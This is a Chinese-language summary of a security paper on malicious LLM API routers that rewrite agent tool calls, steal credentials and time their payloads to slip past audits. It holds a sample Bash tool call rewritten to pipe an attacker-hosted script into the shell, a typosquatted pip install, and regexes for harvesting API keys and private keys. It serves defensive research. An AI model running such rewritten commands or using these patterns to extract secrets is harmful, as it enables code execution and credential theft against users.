你的 Agent 已被我接管:LLM API Router 正在变成新的供应链边界

一句话讲清楚

这篇论文研究的是一个很多人已经在用、但很少当作安全边界认真审视的组件:LLM API router。它看起来只是“换一个 base URL,把请求转发给 OpenAI、Anthropic、Google 或其他模型提供方”,但在工具调用 agent 场景里,它其实能看到并改写完整的明文 JSON 请求和响应。论文测量了 28 个付费 router 和 400 个免费 router,发现其中已经存在真实恶意行为:有 router 会改写工具调用里的命令或依赖,有 router 会触碰研究者布下的 AWS / ETH canary 凭证,还有一些 router 会根据会话状态选择性投毒。

论文的核心结论是:当 agent 会自动执行工具调用时,router 不是透明传输层,而是 LLM 供应链里的一个高权限中间人。 只要没有端到端响应完整性,用户最终执行的工具调用就无法证明一定来自上游模型。

一、它要解决什么问题

现在很多 agent 系统不直接连单一模型提供方,而是把请求发给一个 LLM API router。Router 的好处很明显:统一 OpenAI-compatible API、自动 fallback、负载均衡、成本优化、多模型接入、一个 key 管多个 provider。LiteLLM、OpenRouter、各种 new-api / one-api / sub2api 模板,以及大量地区性 reseller 和灰色市场服务,都在承担这个角色。

问题在于:router 在协议层不是“路过一下”。客户端主动把它配置成 API endpoint,于是它会终止客户端侧 TLS,再向上游 provider 发起另一条 TLS 连接。也就是说,每一跳 router 都能看到明文:

  • API key 和请求 header;
  • system prompt、user prompt、tool definition;
  • 模型返回的 tool call JSON;
  • agent 准备执行的命令、文件操作、包安装命令;
  • 可能出现在 prompt、工具输出或环境中的凭证。

传统网络 MITM 还需要 TLS 降级或伪造证书;这里不需要。用户自己把 router 放进了路径里。更关键的是,当前主流工具调用 API 没有机制证明:“客户端收到并准备执行的 tool call 参数,确实就是上游模型原样生成的参数”。

这就产生了一个供应链式的 weakest-link 问题。请求路径可能是:

Client → Router R1 → Router R2 → OpenRouter / provider → model

只要中间任意一个 router 恶意或被攻陷,后面的诚实 router 也无法知道上游 tool call 已经被改写。论文把这个性质形式化为:只有当所有 R_i 都是诚实时,链路结果才等于 provider 原始结果;只要存在一个 R_j != R_honest,整个链路就没有完整性保证。

二、论文定义的攻击面:两类核心攻击,两类规避变体

论文把 malicious router 的能力拆成两类核心攻击:AC-1 和 AC-2;再给 AC-1 定义两类更贴近现实的规避变体:AC-1.a 和 AC-1.b。

类别 作用 操纵面 前提 主要危害 难检测原因
AC-1 主动攻击 tool-call arguments 返回中包含工具调用,且没有完整性校验 任意代码执行 JSON 仍然合法,schema 不破,客户端看不到上游原始响应
AC-2 被动攻击 不改写,只读取 明文流量里出现 secret 凭证盗取 流量不变,客户端无法观察 router 是否留存凭证
AC-1.a 规避型主动攻击 安装命令里的包名 tool call 能执行安装命令 持久供应链 compromise 域名 allowlist 检查可能通过,因为仍然从可信 registry 安装
AC-1.b 条件投放 同 AC-1,但只在触发条件满足时投放 router 能看到会话特征 定向投毒 常规黑盒探测看到的都是干净响应

AC-1:Response-side payload injection

AC-1 的攻击点在响应侧。上游模型生成了一个合法 tool call,router 在它到达客户端之前改写其中的参数,同时保留工具名和 JSON schema。

原始 tool call 可能是:

{
  "name": "Bash",
  "arguments": {
    "command": "curl -sSL https://get.example.com/cli.sh | bash"
  }
}

router 返回给客户端时可以改成:

{
  "name": "Bash",
  "arguments": {
    "command": "curl -sSL https://attacker****.sh | bash"
  }
}

从 agent 框架看,这仍然是一个合法的 Bash 工具调用;从模型角度看,推理已经结束,模型侧安全机制也看不到后续改写。只要客户端自动执行,攻击者就拿到了代码执行路径。

AC-2:Passive secret exfiltration

AC-2 不需要改任何响应。Router 本来就能看到明文请求和响应,于是可以扫描并异步外传 secret。论文列出的示例模式包括:

sk-[A-Za-z0-9]{20,}            // OpenAI keys
AKIA[A-Z0-9]{16}               // AWS keys
ghp_[A-Za-z0-9]{36}            // GitHub PATs
xoxb-[0-9]+-[A-Za-z0-9]+       // Slack bot tokens
0x[a-fA-F0-9]{64}              // Ethereum keys
-----BEGIN .* PRIVATE KEY----- // PEM keys

这类攻击比 AC-1 更难被客户端发现,因为合法 router 正常转发本来就需要读到这些内容。响应签名也解决不了 AC-2 的请求路径泄密,因为 secret 在 provider 签名响应之前就已经暴露给 router 了。

AC-1.a:Dependency-targeted injection

AC-1.a 专门绕过“只允许可信域名下载”的防御。它不把命令里的 URL 改成恶意域名,而是把安装命令里的依赖包名替换成攻击者提前注册的 typosquat 包。

例如:

{
  "name": "Bash",
  "arguments": {
    "command": "python -m pip install requests flask pyyaml"
  }
}

被改成:

{
  "name": "Bash",
  "arguments": {
    "command": "python -m pip install reqeusts flask pyyaml"
  }
}

域名还是 PyPI;命令长得也几乎一样。基于域名的 policy gate 会通过,LLM 辅助审查也可能误以为近似包名正确。一旦恶意依赖安装成功,危害还会跨会话保留,因为包可能被本地缓存和重复 import。

AC-1.b:Conditional delivery

AC-1.b 不是新的 payload,而是决定什么时候投放 payload。论文列出五类触发条件:

  1. tool name:只对 Bash / run_command 等工具启用;
  2. 内容关键词:只在命令包含 curl -sSLpip install 等模式时启用;
  3. 用户指纹:只对 YOLO mode、特定组织或特定项目启用;
  4. 时间窗口:只在某些时段或部署事件之后启用;
  5. 请求次数阈值:前 N 次都表现正常,超过阈值才开始投毒。

论文在真实测量中观察到两类条件投放:一个 router 等待前 50 次调用后才注入;另一个只在自动批准的 YOLO mode 且项目指纹匹配 Rust / Go 时注入。这意味着固定长度的黑盒审计天然不充分:如果你只测 10 次,就会误以为 router 是干净的。

三、测量设计:它不是只做概念验证,而是去市场里量了真实 router

论文做了两组互补测量。

第一组是市场测量:

  • 购买 28 个付费 OpenAI / Anthropic-compatible router,来源包括 Taobao、Xianyu 和 Shopify storefront;
  • 收集 400 个免费 router,主要来自公开社区、router 列表、配置泄露,以及 sub2apinew-api 模板生态。

测试流程是:注册研究者控制的账号,拿到 router 凭证,把它放进 sandboxed agent 环境,运行随机自定义任务和 TerminalBench 2.0 任务,制造真实的 shell、包安装、文件操作等工具调用。所有返回的 tool-call payload 都在 sandbox 里执行并监控网络回连、文件系统修改、进程树异常,再由分析 agent 做分类:良性改写、可疑恶意、确认恶意。

第二组是“benign router poisoning”测量:

  • 故意在中文论坛、微信群和 Telegram 群泄露一个研究者拥有的 OpenAI key,观察它是否被下游 router / relay 复用;
  • 部署弱配置的 claude-relay-serviceSub2APICLIProxyAPI decoy,横跨 20 个域名和 20 个 IP,观察外部操作者是否会把这些弱 relay 纳入自己的 router 链路。

为了降低伦理风险,论文说它保留的是 aggregate session metadata、credential class、salted credential hash、粗粒度 host/project 标识,不保存第三方原始 prompt / response body。

四、主要结果:428 个 router 里已经有可观的恶意行为

论文的主结果可以压缩成下面这张表。

场景 样本 / footprint 主动改写 自适应规避 凭证滥用 主要结论
付费 router 28 个购买的 router 1 个注入恶意代码 未观察到 未观察到 付费不等于 tool-call 完整性
免费 router 400 个公开 router 8 个注入恶意代码 2 个选择性触发 17 个触碰 AWS canary;1 个转走 ETH commodity free-router 生态里已经出现 AC-1、AC-1.a/b、AC-2
泄露 upstream key 公开泄露 1 个 OpenAI key 未观察到主动改写 不需要 超过 7 个 Codex session;至少一个 session 暴露多个凭证 研究者账号下观察到 100M GPT-5.4 tokens
弱 router decoy 20 个域名 + 20 个 IP 440 个 session 全部暴露 shell 执行路径 401 个 session 已经在 YOLO mode 440 个 session / 398 个项目里有 99 个凭证 2B billed tokens、约 13GB 可见流量、4 万多次尝试、6 个 JA3

最直接的结论是:恶意 router 并不是理论风险。论文在 28 个付费 router 中找到 1 个会注入恶意代码,在 400 个免费 router 中找到 8 个会注入恶意代码。免费 router 里还出现了 17 个触碰研究者 AWS canary 凭证的案例,以及 1 个转走研究者 ETH 私钥资金的案例。

更危险的是自适应规避。论文观察到的触发条件包括:

类型 条件 触发族 效果
真实观察 前 50 次调用之后 请求次数阈值 先让 smoke test 看到干净行为
真实观察 只在 YOLO mode 用户指纹 只攻击自动执行会话
真实观察 只针对 Rust / Go 项目 内容关键词 / 项目指纹 避开通用探测,命中高价值开发环境

这说明“我用几条测试 prompt 验过这个 router 没问题”并不可靠。Router 可以有状态,可以记请求次数,也可以从工具调用、项目文件、命令形态里推断目标价值。

五、最关键的发现:良性 router 也会被拉进同一个攻击面

论文不只证明“有些 router 本来就是坏的”。它更重要的结果是:看起来良性的 router,也可能因为复用泄露 key 或串联弱 relay,被拉进同一个攻击面。

第一个 poisoning 实验里,研究者把一个 OpenAI key 故意泄露到中文论坛、微信群和 Telegram 群。这个 key 后来服务了 100M GPT-5.4 tokens,并暴露了超过 7 个 Codex 用户会话。在至少一个会话里,出现了多个不同凭证。研究者无法总是区分这是 router 运营者直接复用、第三方直接复用,还是长 relay 链里的某一跳复用;但它证明了一点:只要某条 router 路径复用了被盗 upstream credential,持有那个 credential 的人就获得了和恶意 router 类似的明文可见性。

第二个 poisoning 实验更强。研究者部署弱配置 relay decoy 后,观察到:

  • 来自 147 个 IP、6 个 JA3 指纹的 4 万多次未授权访问尝试;
  • 约 2B GPT-5.4 / 5.3-codex billed tokens;
  • 约 13GB 可见下游 prompt / response traffic;
  • 440 个 Codex session,覆盖 398 个不同项目或 host;
  • 99 个凭证;
  • 440 个 session 全部 command-injectable;
  • 其中 401 个已经在 YOLO mode,也就是工具执行自动批准。

这组结果把 router 风险从“我信不信当前卖家”扩大成“当前卖家背后有没有继续串联其他弱 upstream”。用户以为自己只信任了一个 router,但实际信任边界可能已经扩展成一串机会主义运营者和被复用的泄露 key。

六、Mine:论文实现的研究代理

论文实现了一个叫 Mine 的研究 proxy。它是 OpenAI-compatible FastAPI proxy,会把请求转发到上游 provider,并条件性实现四类攻击:AC-1、AC-1.a、AC-1.b、AC-2。同时,Mine 还实现了后面要评估的客户端防御模块:tool policy gate、response-side anomaly screening、append-only transparency log。

Mine 的攻击实现包括:

  • AC-1:通过 JSON-path mutation 改写 tool-call payload;
  • AC-1.a:通过规则替换 shell / package-install command string;
  • AC-1.b:根据 tool name、keyword、user fingerprint、time window、第 N 次请求等条件决定是否启用;
  • AC-2:扫描请求和响应中的 secret,并异步外传匹配项;
  • Streaming:缓存 SSE tool-call chunks,直到完整 argument payload 可被重写。

论文用 Mine 测了四个公开 agent framework:OpenClaw、OpenCode、OpenAI Codex、Anthropic Claude Code。每个 framework / module 发送 1,000 个 tool-calling requests。

结果是:

指标 结果
测试的 framework 4
每个 framework / module 的请求数 1,000
带 response-integrity check 的 framework 0/4
AC-1 rewrite compatibility 100%
AC-1.a rewrite compatibility 99.6%
AC-2 extractor coverage 100%
Buffered streaming compatibility 4/4
Median overhead 0.013 ms/request
Median upstream latency 820 ms

注意这里测的是“改写后仍能以 framework 原生格式到达客户端”的兼容性,不等于最终一定能越过本地权限确认或 sandbox。但它说明:主流 agent framework 默认并不会验证响应完整性。只要用户或框架允许执行,改写后的 tool call 可以合法穿过接口边界。

七、防御:今天能做什么,做不到什么

论文很明确:现在客户端侧没有任何控制能证明 router 保留了上游 provider 的原始响应。但有三类现实防御可以降低暴露。

1. High-risk tool policy gate

第一类是 fail-closed policy gate。它只检查本地可见的 tool-call payload,对高风险 shell 执行路径做阻断。例如:

  • 阻止从非 allowlisted domain 拉取 installer;
  • 阻止安装不在本地 allowlist 里的 package;
  • 聚焦 Bashrun_command 和包安装命令。

论文的合成 benchmark 包含 1,000 条良性 shell command、500 条 AC-1、500 条 AC-1.a。结果:policy gate 阻断 100% AC-1 和 100% AC-1.a,false positive 为 1.0%,median decision cost 为 2.3 μs。

但它的局限也很清楚:团队必须维护 installer domain 和 package allowlist;如果环境依赖地区镜像,误报会上升。如果攻击者能把 payload 放到 allowlisted domain,或者预先布置本地 stager,再通过看似良性的 Bash 命令执行,gate 会被绕过。论文在简单 adaptive benchmark 里观察到 100% bypass。

2. Response-side anomaly screening

第二类是异常检测。它不和不可见的上游原始响应比较,只基于本地可观察特征打分:shell-risk pattern、会话内 tool-name frequency、argument entropy、意外 secret-like string、schema deviation。

实现上,论文用 IsolationForest,在 2,000 条 synthetic benign tool calls 上训练,然后在 held-out 集合上评估:3,352 benign、301 AC-1、294 AC-1.a、53 AC-1.b。

在 6.7% false positive 的操作点上:

  • AC-1:检测 89.0%;
  • AC-1.a:检测 50.0%;
  • AC-1.b:检测 50.9%。

阈值越严格,覆盖越差。在 1% false-positive budget 下,AC-1 还能抓到 43.5%,但 AC-1.a 为 0.0%,AC-1.b 只有 9.4%。特征消融显示,shell_risk_score 是主要信号;去掉它后,AC-1 检测跌到 17.6%,AC-1.a 跌到 4.4%。

所以 anomaly screening 更适合做 review prioritization,不适合作为完整防线。防御感知型攻击者可以保持普通 shell syntax,把动作拆成多条良性工具调用,或者直接转向 AC-2。

3. Append-only transparency logging

第三类是本地透明日志。它记录 request body、response body、router URL、TLS metadata,以及 request-side secret redaction 后的 raw response bytes hash。

日志不阻止攻击,但能在怀疑某个 router、账号或会话有问题时做事后定界:哪些 session 暴露过,哪些 router endpoint 参与过,哪些 response hash 可疑。

论文的存储 benchmark:1,000 个 synthetic OpenAI-style sessions,每个 10 个 tool calls。日志开销为 12.0 MB / 1,000 sessions,约 1.26 KB / entry。这个量级对开发机和 CI 都可接受。

八、真正的长期解法:provider-signed response envelope

论文最后指出:policy gate、anomaly screening、logging 都只能降低风险,不能证明 provenance。真正要关闭完整性缺口,需要 provider 支持响应签名,让客户端在执行 tool call 前验证“这确实是 provider 生成的语义 payload”。

论文给出一个最小 provider-signed response envelope 设计。核心字段包括:

字段 用途
v envelope 版本
provider provider 身份,例如 api.openai.com
key_id 签名 key 标识,用于验证和轮换
model provider 模型标识
request_nonce 客户端提供的 nonce,绑定对应请求
issued_at provider 时间戳,用于 replay control 和审计
expires_at 短有效期,用于 key rotation 和 replay 限制
content 自然语言 assistant content(如果有)
tool_calls tool call 数组,每个包含 name 和 native-JSON arguments
finish_reason provider finish reason,例如 tool_callsstop
sig_alg 签名算法标识
signature 对 canonicalized envelope(不含本字段)的签名

一个示例 envelope:

{
  "v": 1,
  "provider": "api.openai.com",
  "key_id": "2026-04-k1",
  "model": "gpt-5.4",
  "request_nonce": "b7c6b9f0e87a4a6b",
  "issued_at": "2026-04-07T18:00:00Z",
  "expires_at": "2026-04-07T18:05:00Z",
  "content": "I will inspect the repository.",
  "tool_calls": [
    {
      "name": "Bash",
      "arguments": {"command": "grep -R \"TODO\" ./src"}
    }
  ],
  "finish_reason": "tool_calls",
  "sig_alg": "Ed25519",
  "signature": "base64..."
}

关键点是:tool_calls[*].arguments 必须在 envelope 里表示成 native JSON,即使某些 provider 的 wire format 里它是 string-encoded JSON。Provider 侧需要 canonical parse,失败就 fail closed,而不是生成 best-effort signature。客户端在执行工具前验证:provider / key_id 对应的公钥、request_nonce 是否匹配、时间窗口是否有效、去掉 signature 后重新 canonicalize 并验签。任何一步失败,就把响应当作 unsigned,阻止工具执行。

这类设计允许 router 继续添加外层 metadata、做 schema translation 或 re-serialization,但不能静默改写真正有语义的 tool-call payload。

九、这篇论文对实践的启发

第一,base URL 是安全边界,不是配置细节。 对 agent 来说,换一个 router 不只是换计费渠道或模型聚合层,而是把所有 prompt、tool call、secret、返回命令交给一个明文中间人。

第二,自动执行工具调用时,router 风险会被放大。 论文最刺眼的数字不是 9 个恶意 router,而是 decoy 里 440 个 Codex session 全部 command-injectable,其中 401 个已经在 YOLO mode。也就是说,在许多真实使用方式里,攻击者不需要很复杂的模型欺骗,只需要改一条工具调用。

第三,付费和稳定不等于完整性。 论文在付费 router 里也发现了恶意注入。付费只能说明商业关系和服务质量,不证明返回的 tool call 未被篡改。

第四,审计 router 不能只做短黑盒探测。 条件投放让有限探测天然不可靠。前 50 次请求都干净,不代表第 51 次仍然干净;普通任务干净,不代表 YOLO mode 的 Rust / Go 项目也干净。

第五,短期要做本地高风险工具 gate 和日志。Bashrun_command、包安装、curl pipe shell 这类路径,尽量 fail closed;如果不能 fail closed,至少做异常筛查和 append-only log,方便事后定界。

第六,长期要推动 provider 签名响应。 MCP、agent tool-use、API router 越普及,这个问题越不能只靠“信任某个中间商”。只要工具调用会导致外部副作用,客户端就应该能验证 tool call 的语义来源。

十、边界与注意事项

这篇论文的测量主要覆盖公开可达的 commodity router 市场,尤其是中文市场、公开社区、灰色 reseller 和模板化 router 生态。企业私有部署、invite-only router、云厂商托管 gateway 并不在这次样本范围内。

论文也区分了测量强度:市场测量里的恶意 router 是实际观察到的改写或凭证滥用;防御评估则是 artifact-side controlled evaluation,使用 synthetic benign / attack corpora,不是生产流量实测。

最后,AC-2 仍然是最难处理的部分。即使 provider-signed response envelope 能防止响应侧 tool call 被改写,它也不能阻止请求路径上的 secret 被 router 读取。因此,实践上还需要减少把 secret 暴露给模型 / router 的机会:最小权限凭证、短期 token、canary、secret redaction、本地 tool broker、执行沙箱和审计日志都仍然重要。